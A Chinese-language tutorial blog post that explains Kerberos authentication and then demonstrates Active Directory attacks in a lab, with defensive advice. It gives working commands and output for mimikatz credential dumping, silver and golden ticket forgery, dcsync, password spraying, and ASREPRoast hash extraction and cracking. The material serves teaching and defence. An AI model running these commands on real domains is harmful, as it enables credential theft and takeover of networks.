kerberos认证过程及攻击方式总结

  • A+

关于kerberos认证:

Kerberos是一种由MIT(麻省理工大学)提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。

Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客 户机 / 服务器应用程序提供强大的认证服务。该认证过程的实现不 依赖于主机操作系统的认证,无需基于主机地址的信任,不要求 网络上所有主机的物理安全,并假定网络上传送的数据包可以被 任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一 种可信任的第三方认证服务,是通过传统的密码技术(如:共享 密钥)执行认证服务的。

截图.png

域认证所参与的角色:

  • 访问服务的client
  • 提供服务的server
  • KDC(Key Distribution Center) = DC(Domain Controller)密钥分发中心,一般为域控制器

票据(Ticket):是网络对象互相访问的凭证。 TGT(Ticket Granting Ticket):入场券,通过入场券能够获得票据,是一种临时凭证的存在。

KDC负责管理票据、认证票据、分发票据,但是KDC不是一个独立的服务,它由以下服务组成:

  • Authentication Service: 为client生成TGT的服务,简称AS
  • Ticket Granting Service: 为client生成某个服务的ticket,简称TGS

另外还需要介绍一个类似于本机SAM的一个数据库:AD,全称叫account database,存储所有client的白名单,只有存 在于白名单的client才能顺利申请到TGT。

截图 1.png

KDC服务框架中包含一个KRBTGT账户,它是在创建域时系统自动创建的一个账号,可以暂时理解为他就是一个无法登陆的账号。

截图 2.png

域认证粗略流程:

  1. client向kerberos服务请求,希望获取访问server的权限。 kerberos得到了这个消息,首先得判断client是否是可信赖的, 也就是白名单黑名单的说法。这就是AS服务完成的工作,通过 在AD中存储黑名单和白名单来区分client。成功后,返回AS返 回TGT给client。
  2. client得到了TGT后,继续向kerberos请求,希望获取访问 server的权限。kerberos又得到了这个消息,这时候通过client 消息中的TGT,判断出了client拥有了这个权限,给了client访 问server的权限ticket。
  3. client得到ticket后,终于可以成功访问server。这个ticket只是 针对这个server,其他server需要向TGS申请。

The Authentication Service Exchange:Client 与 AS 的交互;(请求TGT)
The Ticket-Granting Service (TGS) Exchange:Client 与 TGS 的交互;(请求ServerTicket)
The Client/Server Authentication Exchange:Client 与 Server 的交互。(访问)

截图 3.png

域认证:

第一步:

首先,客户端需要发送自己的身份信息到KDC,身份信息中起码包含用户名,KDC根据用户名在AD中寻找是否在白名单中,然后根据用户名提取到对应的NTLM Hash。
KDC此时生成一个随机字符串,叫Session Key,使用用户名对应的NTLM Hash加密Session Key,作为AS数据,使用KDC中某个用户的NTLM Hash加密Session Key和客户端的信息,生成TGT。

  • Session Key用于客户端向TGS服务通信。
  • 域内所有网络对象的凭证都在AD中保存
  • KDC中某个用户指的是krbtgt
    具体流程:

KRB_AS_REQ

Client->AS:发送 Authenticator1(Client 密码加密 TimeStamp)
第一步 Client 先向 KDC 的 AS 发送 Authenticator1,内容为通过 Client 密码 Hash 加密的时间戳、ClientID、网络地址、加密类型等内容。

截图 4.png

KRB_AS_REP

AS-> Client:发送 Client 密码加密的 sessionkey-as 和票据 TGT(KRBTGT HASH 加密的 sessionkey-as 和 TimeStamp)
在 KDC 中存储了域中所有用户的密码 HASH,当 AS 接收到 Client 的请求之后会根据 KDC 中存储的密码来解密,解密成功并且验证信息。验证成功后返回给 Client 由 Client 密码 HASH 加密的 sessionkey-as 和 TGT(由 KRBTGT HASH 加密的 sessionkey-as 和 TimeStamp 等信息)。

其中,TGT的到期时间为8小时,如果超过了8小时,还需要重新申请TGT,不能之间进入下一步获取Ticket。

第二步:

客户端需要提供TGT与第一步中使用自己NTLM Hash解密出来的Session Key加密的客户端信息跟时间戳。

如果假设这个数据被中间人窃取到,也无法在段时间内破解,因为KDC会校验时间戳。

KDC接到TGT与其他内容后,会首先解密TGT,只有KDC可以解密TGT,从TGT中提取到Session Key,再使用Session Key解密其他内容,解密出来的内容同TGT中的信息进行校验来确认客户端是否受信。

验证通过后,就会生成一个新的Session Key,我们称之为Server Session Key,这个Server Session Key主要用于和服务器进行通信。同时还会生成一个Ticket,也就是最后的票据了

Server Hash:这个Hash是在AD中服务器计算机的NTLM Hash。

具体流程:

Client ->TGS 发送 Authenticator2 (sessionkey-as 加密 TimeStamp) 和票据 TGT(KRBTGT HASH 加密的 sessionkey-as 和 TimeStamp)
Client 接收到了加密后的 Sessionkey-as 和 TGT 之后,用自身密码解密得到 Sessionkey-as,TGT 是由 KDC 密码加密,Client 无法解密。这时 Client 再用 Sessionkey-as 加密 TimeStamp 和 TGT 一起发送给 KDC 中的 TGS(TicketGranting Server)票据授权服务器换取能够访问 Server 的票据。

截图 5.png

TGS-> Client 发送 密文 1(sessionkey-as 加密 sessionkey-tgs) 和 票据 ST(Server 密码 HASH 加密 sessionkey-tgs)
TGS 收到 Client 发送过来的 TGT 和 Sessionkey-as 加密的 TimeStamp 之后,首先会检查自身是否存在 Client 所请求的服务。如果服务存在,则用 KRBTGT 密码解密 TGT。一般情况下 TGS 会检查 TGT 中的时间戳查看 TGT 是否过期,且原始地址是否和 TGT 中保存的地址相同。验证成功之后将用 sessionkey-as 加密的 sessionkey-tgs 和 Server 密码 HASH 加密的 Sessionkey-tgs 发送给 Client。

第三步:

客户端向服务器请求,需要提供Ticket,Server Session Key加密的客户端信息与时间戳。

  • Ticket客户端无法解密
  • 服务器端通过解密Ticket解密Server Session Key(Client info + Timestamp)
  • 比较时间长度

具体流程:

Client ->Server 发送 Authenticator3(sessionkey-tgs 加密 TimeStamp) 和票据 ST(Server 密码 HASH 加密 sessionkey-tgs)
Client 收到 sessionkey-as 加密的 sessionkey-tgs 和 Server 密码 HASH 加密的 sessionkey-tgs 之后用 sessionkey-as 解密得到 sessionkey-tgs,然后把 sessionkey-tgs 加密的 TimeStamp 和 ST 一起发送给 Server。

截图 6.png

Server-> Client
server 通过自己的密码解密 ST,得到 sessionkey-tgs, 再用 sessionkey-tgs 解密 Authenticator3 得到 TimeStamp,验证正确返回验证成功。

校验通过后,认证成功,该票据会一直存在客户端内存中。

```language
很久很久以前,在Kerberos王国有一个神奇的王,它的名字叫KDC,国号为秦(域名),为了更好 地管理臣民(用户)、管理营业性场所(文件共享服务器、邮件服务器、打印服务器等),要求臣 民、营业性场所到王室领取一个账号,账号主要包括用户名/密码。 有一个臣民叫王老虎,账号名为“王老虎”,密码“xxxxxxxx”, 那么在Kerberos王国里,有几个人 知道王老虎的密码? 一个是王老虎本人,另一个就是王,即KDC。还有其他人知道吧?没有了! 有一家提供文件共享的服务场所,名字叫“小美共享文件服务社”,密码是“xxxxxxx”,这个账号 的密码,在KDC王国,只有2个人知道,一个是自己,另外一个就是王,KDC。 KDC王颁布以下规定: (1)臣民去臣民家拜访,需要先到KDC票务中心买票,只有买到了被拜访者家的票(Service Ticket),才能前往拜访。 (2)臣民前去营业场所消费,同样需要先到KDC购票入场。 (3)营业场所去营业场所消费,一样需要购票入场。 现在王老虎想去“小美文件服务社”坐坐,并浏览一下文件,能直接冲进去吗? 不能。 王老虎先到KDC票务中心买票,票务中心说:请问你是哪位? 王老虎! 票务中心:请用王老虎的密钥加密“一段认证信息”发给我! 王老虎照做! 票务中心知道王老虎的密钥,成功解密王老虎的加密信息,认证成功! 上文说了,在这个世界上除了KDC知道王老虎的密钥,另外一个就是王老虎本人了。 既然KDC用王老虎的密钥解密成功,那说明加密信息的密钥肯定是王老虎的,间接表明买票的人, 肯定是王老虎。 以上只是KDC验证王老虎的过程,问题来了,王老虎如何知道KDC票务中心不是假冒的? 很简单,玄机就在“一段认证信息”里了,这“一段认证信息”里,王老虎想写啥就写啥,王老虎 是这样写的: “知乎到底能走多远?” 由于这段信息是用王老虎的密钥发给KDC的,如果KDC是真的,那么自然可以解密到明文信息,然 后把王老虎的“知乎到底能走多远?”返回给王老虎,那么王老虎就知道对方是真的KDC。 双向认证成功,可以避免任何一方是假冒的安全风险。 既然认证成功,那么KDC就为王老虎出票呗。KDC给王老虎2件东西: (1)用王老虎密钥加密的session key (2) “小美文件服务社”门票(Service Ticket) 这个门票是用“小美文件服务社”的密钥加密,里面包含 : A) 和王老虎一样的session key B) 门票持有人姓名:王老虎 C) 王老虎属于哪个Group 上文1、2 中的session key 是一样的。 接下来王老虎就直奔小美处了,王老虎敲敲小美的门,小美说:先生请出示您的门票。 王老虎出示2样东西: (1)门票Ticket (2)用session key 加密“一段认证信息”,认证信息里写道:“美女,你会说相声不?” 小美用自己的密钥解密ticket,得到上文ABC信息。 小美用解密得到的A = session key ,解密(2),得到明文认证信息:“美女,你会说相声不?” 小美对王老虎说:“美女,你会说相声不?” 王老虎窃喜,看来这个小美不是假冒的,否则不可能知道我加密的认证信息! 至此,双向认证成功,接下来就使用双方都知道的session key 来加密/解密双向的流量,由于 session key 只有KDC、王老虎、小美知晓,任何第三方都无法知晓session key,所以无法解密流 量。 上文忘记说了,小美的每一个文件都具有权限管理,小美根据上文的C,可以知道王老虎属于哪个 group,看看这个group有没有被访问文件的“ read 、write 、modify、full control”权限,并依据 特定权限,限制王老虎操作文件的权限

```

PAC:

在 Kerberos 最初设计的几个流程里说明了如何证明 Client 是 Client 而不是由其他人来冒充的,但并没有声明 Client 有没有访问 Server 服务的权限,因为在域中不同权限的用户能够访问的资源是有区别的。
所以微软为了解决这个问题在实现 Kerberos 时加入了 PAC 的概念,PAC 的全称是 Privilege Attribute Certificate(特权属性证书)。可以理解为火车有一等座,也有二等座,而 PAC 就是为了区别不同权限的一种方式。
(1)PAC 的实现
当用户与 KDC 之间完成了认证过程之后,Client 需要访问 Server 所提供的某项服务时,Server 为了判断用户是否具有合法的权限需要将 Client 的 User SID 等信息传递给 KDC,KDC 通过 SID 判断用户的用户组信息,用户权限等,进而将结果返回给 Server,Server 再将此信息与用户所索取的资源的 ACL 进行比较,最后决定是否给用户提供相应的服务。
PAC 会在 KRB_AS_REP 中 AS 放在 TGT 里加密发送给 Client,然后由 Client 转发给 TGS 来验证 Client 所请求的服务。
在 PAC 中包含有两个数字签名 PAC_SERVER_CHECKSUM 和 PAC_PRIVSVR_CHECKSUM,这两个数字签名分别由 Server 端密码 HASH 和 KDC 的密码 HASH 加密。
同时 TGS 解密之后验证签名是否正确,然后再重新构造新的 PAC 放在 ST 里返回给客户端,客户端将 ST 发送给服务端进行验证。

(2)Server 与 KDC
PAC 可以理解为一串校验信息,为了防止被伪造和串改,原则上是存放在 TGT 里,并且 TGT 由 KDC hash 加密。同时尾部会有两个数字签名,分别由 KDC 密码和 server 密码加密,防止数字签名内容被篡改。

截图 7.png

同时 PAC 指定了固定的 User SID 和 Groups ID,还有其他一些时间等信息,Server 的程序收到 ST 之后解密得到 PAC 会将 PAC 的数字签名发送给 KDC,KDC 再进行校验然后将结果已 RPC 返回码的形式返回给 Server。

截图 8.png

SPN:

SPN定义

服务主体名称(SPN)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联。如果在整个林中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定的服务实例可以具有多个SPN。例如,SPN总是包含运行服务实例的主机名称,所以服务实例可以为其主机的每个名称或别名注册一个SPN。

全称Service Principal Names
SPN是服务器上所运行服务的唯一标识,每个使用Kerberos的服务都需要一个SPN
SPN分为两种,一种注册在AD上机器帐户(Computers)下,另一种注册在域用户帐户(Users)下
当一个服务的权限为Local System或Network Service,则SPN注册在机器帐户(Computers)下
当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下

SPN的格式

language
serviceclass/host:port/servicename

截图 9.png

说明:
- serviceclass可以理解为服务的名称,常见的有www, ldap, SMTP, DNS, HOST等
- host有两种形式,FQDN和NetBIOS名,例如server01.test.com和server01
- 如果服务运行在默认端口上,则端口号(port)可以省略

查询SPN

对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作很难被检测

(1) 使用SetSPN

Win7和Windows Server2008自带的工具
查看当前域内的所有SPN:

language
setspn.exe -q */*

截图 10.png

查看指定的域

language
setspn.exe -T test -q */*

截图 11.png

2、Windows系统通过SPN查询获得服务和服务实例帐户的对应关系
这里举一个例子:

用户a要访问MySQL服务的资源,进行到4.tgs_reply时,步骤如下:

(1)Domain Controller查询MySQL服务的SPN

如果该SPN注册在机器帐户(Computers)下,将会查询所有机器帐户(Computers)的servicePrincipalName属性,找到对应的帐户
如果该SPN注册在域用户帐户(Users)下,将会查询所有域用户(Users)的servicePrincipalName属性,找到对应的帐户

(2)找到对应的帐户后,使用该帐户的NTLM hash,生成TGS
3、域内的主机都能查询SPN
4、域内的任何用户都可以向域内的任何服务请求TGS

综上,域内的任何一台主机,都能够通过查询SPN,向域内的所有服务请求TGS,拿到TGS后对其进行暴力破解
对于破解出的明文口令,只有域用户帐户(Users)的口令存在价值,不必考虑机器帐户的口令(无法用于远程连接)
因此,高效率的利用思路如下:

查询SPN,找到有价值的SPN,需要满足以下条件:
- 该SPN注册在域用户帐户(Users)下
- 域用户账户的权限很高
- 请求TGS
- 导出TGS
- 暴力破解

kerberos攻击:

白银票据(Silver Tickets):

白银票据特点:
1.不需要与KDC进行交互
2.需要目标服务的NTLM Hash
在第三步认证中的Ticket的组成:

language
Ticket=Server Hash(Server Session Key+Client info+End Time)

当拥有Server Hash时,我们就可以伪造一个不经过KDC认证的一个Ticket。
PS:Server Session Key在未发送Ticket之前,服务器是不知道Server Session Key是什么的。 所以,一切凭据都来源于Server Hash。

测试环境:

language
192.168.159.10(offensive-client/win10)
192.168.159.20(offensive-sql-server/windows server 2016)
192.168.159.200(Domain Controller/windows server 2016)

现在192.168.159.20上执行:

```language
PS C:tempmimikatz_trunkx64> .mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt
PS C:tempmimikatz_trunkx64> ls

Directory: C:tempmimikatz_trunkx64

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/1/2019 11:57 PM 14440 log.txt
-a---- 1/22/2013 10:58 PM 36088 mimidrv.sys
-a---- 12/9/2018 10:58 PM 927384 mimikatz.exe
-a---- 12/9/2018 10:58 PM 46232 mimilib.dll

PS C:tempmimikatz_trunkx64> type .log.txt
```
然后使用 certutil.exe将log下载到client本地上

language
PS C:UsersAliceDesktoptoolsmimikatz_trunkx64> certutil.exe -urlcache -split -f http://192.168.159.20/log.txt
**** Online ****
0000 ...
3868
CertUtil: -URLCache command completed successfully.

然后回到client中使用mimikatz来伪造票据

命令如下

language
mimikatz "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<用户名> /id:用户id /ptt" exit

当前无票据

截图 12.png

language
mimikatz # kerberos::golden /sid:S-1-5-21-1187620287-4058297830-2395299116-1103 /domain:offensive.local /target:Offensive-SQL1:1433 /service:cifs /rc4:fc525c9683e8fe067095ba2ddc971889 /user:lengyi /id:1103 /ptt

因为我们没有TGT去不断申请ticket,所以只能针对某一些服务来进行伪造

截图 13.png

截图 14.png

此时已经获取到了银票

截图 15.png

白银票据(Silver Tickets)防御:

  • 1.尽量保证服务器凭证不被窃取
  • 2.开启PAC (Privileged Attribute Certificate) 特权属性证书保护 功能,PAC主要是规定服务器将票据发送给kerberos服务,由 kerberos服务验证票据是否有效。

开启方式:
将注册表中

language
HKEY_LOCAL_MACHINESYSTEM CurrentControlSetControlLsaKerberosParameters

中的ValidateKdcPacSignature设置为1。

黄金票据(Golden Tickets):

通过前面我们已经知道Kerberos的认证大致流程,在第二阶段认证的KRB_AS_REQ时,Client拥有两份加密的Session Key,K(c,tgs)分别是:

  • 用自己NTLM Hash加密的Session Key。
  • 用krbtgt用户的NTLM Hash加密的TGT。
    前面我们说过,TGT只有KDC可以解密,这是因为TGT是使用krbtgt用户的NTLM Hash进行加密的,而该Hash只有KDC知道。但是这也意味着如果我们拥有krbtgt用户的Hash,那么意味着我们可以解密以及伪造TGT,

首先DC上将krbtgt的用户hash使用mimikatz给dump下来,然后使用mimikatz去构造一个黄金票据

language
mimikatz “kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit

或者

language
mimikatz "kerberos::golden /domain:<域名> /sid:<域SID> /aes256:<aes256_hmac> /user:<任意用户名> /ptt" exit

截图 16.png

票据已经获取完成

此时也可获取域控的访问权限

截图 17.png

当然你也可以使用psexec去获取域的cmd权限

language
psexec \dc.offensive.local cmd

黄金票据局限性:

黄金票据“欺骗”了当前域的管理权限,当KRBTGT帐户密码哈希显示在作为多域AD的林一部分的子域中时存在此局限性。因为是根(root)域包含全森林管理组Enterprise Admins。由于Mimikatz通过相对标识符(RID)向票据添加了组成员资格,因此Kerberos票据中的519(企业管理)RID在其创建的域中(基于KRBTGT帐户域)被标识为本地。如果通过获取域SID和附加RID创建的域安全标识符(SID)不存在,那么Kerberos票据的持有者不会收到该级别的访问权限。换句话说,在一个多域AD森林中,如果创建的Golden Ticket域不包含Enterprise Admins组,则Golden Ticket不会向林中的其他域提供管理权限。在单个域Active Directory林中,由于Enterprise Admins组驻留在此域中,这时创建Golden Ticket不存在局限性

黄金票据防御:

1.限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机(不要让其他管理员登录到这些服务器)将所有其他权限委派给自定义管理员组。这大大降低了攻击者访问域控制器的Active Directory的ntds.dit。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码。

  1. 禁用KRBTGT帐户,并保存当前的密码以及以前的密码。KRBTGT密码哈希用于在Kerberos票据上签署PAC并对TGT(身份验证票据)进行加密。如果使用不同的密钥(密码)对证书进行签名和加密,则DC(KDC)通过检查KRBTGT以前的密码来验证。

3.建议定期更改KRBTGT密码(毕竟这是一个管理员帐户)。更改一次,然后让AD备份,并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法。

4.一旦攻击者获得了KRBTGT帐号密码哈希的访问权限,就可以随意创建黄金票据。通过快速更改KRBTGT密码两次,使任何现有的黄金票据(以及所有活动的Kerberos票据)失效。这将使所有Kerberos票据无效,并消除攻击者使用其KRBTGT创建有效金票的能力。

使用mimikatz的黄金票据+dcsync获得域密码

dcsync:mimikatz中的功能,可以有效地“假冒”一个域控制器,并可以向目标域控制器请求帐户密码数据

假设我们现在已经拥有了一个黄金票据

截图 18.png

通过DRSR协议,从域控制器获取用户alice的hash:

```language
mimikatz # lsadump::dcsync /user:alice /domain:offensive.local

```

截图 19.png

若没权限则显示如下:

截图 20.png

域用户、密码枚举

脚本名称DomainPasswordSpray.ps1

DomainPasswordSpray是用PowerShell编写的工具,用于对域用户执行密码喷洒攻击。默认情况下,它将利用LDAP从域中导出用户列表,然后扣掉被锁定的用户,再用固定密码进行密码喷洒

用法:

  • 参数: Domain 指定要测试的域名
  • 参数: RemoveDisabled 尝试从用户列表删除禁用的账户
  • 参数: RemovePotentialLockouts 删除锁定账户
  • 参数: UserList 自定义用户列表(字典)。 如果未指定,这将自动从域中获取
  • 参数: Password 指定单个密码进行口令测试
  • 参数: PasswordList 指定一个密码字典
  • 参数: OutFile 将结果保存到某个文件
  • 参数: Force 当枚举出第一个后继续枚举,不询问

用户枚举:

```language
C:PS> Get-DomainUserList -Domain 域名 -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt

```

截图 21.png

密码枚举:

language
PS C:UsersAliceDesktop> Invoke-DomainPasswordSpray -Domain offensive.local -Password [email protected] -OutFile pass.txt

截图 22.png

截图 23.png

除了该PS脚本以外,我们还能使用 Rubeus这款工具进行暴力破解,本人极力推荐一下此工具,功能可以和mimikatz相媲美,只是依赖.net环境,用法如下:

```
PS C:Usersuser01> .Rubeus.exe brute /users:users.txt /passwords:passwords.txt /domain:jurassic.park /outfile:jurassic_passwords.txt

__ _
(
| |
) ) | | _ _ _ _
| /| | | | _ | | | | |/)
| | | || | |) ) _| || | |
|
| ||_/|/|_)
/(___/

v1.4.2

[+] Valid user => velociraptor
[+] Valid user => trex
[+] Valid user => triceratops
[+] STUPENDOUS => triceratops:Sh4rpH0rns
[*] Saved TGT into triceratops.kirbi

```

截图 24.png

ASREPRoast

ASREPRoast攻击寻找不需要Kerberos预身份验证的用户。这意味着任何人都可以代表这些用户中的任何一个向KDC发送AS_REQ请求,并接收AS_REP消息。最后一种消息包含用原始用户密钥加密的数据块,该原始用户密钥从其密码派生而来。然后,通过使用此消息,用户密码可以离线破解。

在linux下可以使用 GetNPUsers.py这款工具进行破解,用法:

language
[email protected]:impacket-examples# python GetNPUsers.py test.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast

在windows下可以使用Rubeus.exe来进行破解

```language
C:Userstriceratops>.Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast

__ _
(
| |
) ) | | _ _ _ _
| /| | | | _ | | | | |/)
| | | || | |) ) _| || | |
|
| ||_/|/|_)
/(___/

v1.3.3

[*] Action: AS-REP roasting

[] Using domain controller: Lab-WDC01.jurassic.park (10.200.220.2)
[
] Building AS-REQ (w/o preauth) for: 'jurassic.parkvelociraptor'
[] Connecting to 10.200.220.2:88
[
] Sent 170 bytes
[] Received 1423 bytes
[+] AS-REQ w/o preauth successful!
[
] Hash written to C:Userstriceratopshashes.asreproast

[*] Roasted hashes written to : C:Userstriceratopshashes.asreproast

C:Userstriceratops>type hashes.asreproast
[email protected]:BBEC05D876E5133F5AB0CEDA07572FE0$4A826CD2123EBC266179A9009E867EAAC03D1C8C9880ACF76DCA4B5919F967E86DBB6CD475DA8EF5C83B1B8388D22DA005BA10D5CB4D10F3C3F44C918ACD5843660C4FF5C678E635F7751A109524D693DB29BF75A5F0995B41CD35600B969FE371F77AD13F48604DFAB87253D324E8F53C267A2299D2450245D317D319A4FD424B42F815B79E2DD16C58AB2A2C106EB6995AFF70C8E889D8F170B35E78993157B3B3D13DCCE18A720BC5810C474CBC95C07B5FFCEE5EE06442FDB6244C33EECA4BFCD4F6C051A5F00C40A837A9644ADA70A381A85089F05CFB5E5F03AB0C7525BBA6AEAF9DA3554D3D700DD54760
```

在得到相应的数据之后,我们便可以使用hashcat或者john来破解它了

```language
[email protected]:impacket-examples# hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
hashcat (v5.1.0) starting...

OpenCL Platform #1: The pocl project

  • Device #1: pthread-Intel(R) Core(TM) i5-4210H CPU @ 2.90GHz, 2961/2961 MB allocatable, 2MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

  • Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=4 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=18200 -D _unroll'
    Dictionary cache hit:
  • Filename..: passwords_kerb.txt
  • Passwords.: 3
  • Bytes.....: 25
  • Keyspace..: 3

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.

[email protected]:bbec05d876e5133f5ab0ceda07572fe0$4a826cd2123ebc266179a9009e867eaac03d1c8c9880acf76dca4b5919f967e86dbb6cd475da8ef5c83b1b8388d22da005ba10d5cb4d10f3c3f44c918acd5843660c4ff5c678e635f7751a109524d693db29bf75a5f0995b41cd35600b969fe371f77ad13f48604dfab87253d324e8f53c267a2299d2450245d317d319a4fd424b42f815b79e2dd16c58ab2a2c106eb6995aff70c8e889d8f170b35e78993157b3b3d13dcce18a720bc5810c474cbc95c07b5ffcee5ee06442fdb6244c33eeca4bfcd4f6c051a5f00c40a837a9644ada70a381a85089f05cfb5e5f03ab0c7525bba6aeaf9da3554d3d700dd54760:Sm4rtSp33d

Session..........: hashcat
Status...........: Cracked
Hash.Type........: Kerberos 5 AS-REP etype 23
Hash.Target......: [email protected]:bbec05d876...d54760
Time.Started.....: Tue Mar 5 11:15:47 2019 (1 sec)
Time.Estimated...: Tue Mar 5 11:15:48 2019 (0 secs)
Guess.Base.......: File (passwords_kerb.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 4 H/s (0.18ms) @ Accel:64 Loops:1 Thr:64 Vec:4
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 3/3 (100.00%)
Rejected.........: 0/3 (0.00%)
Restore.Point....: 0/3 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: above1 -> below1
```

相关推荐: dll劫持之VEH硬件断点过crc校验

开篇提示 笔者水平一般文章内容也比较浅显,如有错误欢迎指出 Crc反调试原理很简单,简单来说就是开启一个线程,在这个线程中不断地对内存中代码段的数据进行校验,如果校验时值发生了改变直接调用退出之类的函数关闭程序。 如何干掉crc校验? 直接停掉crc线程 调用…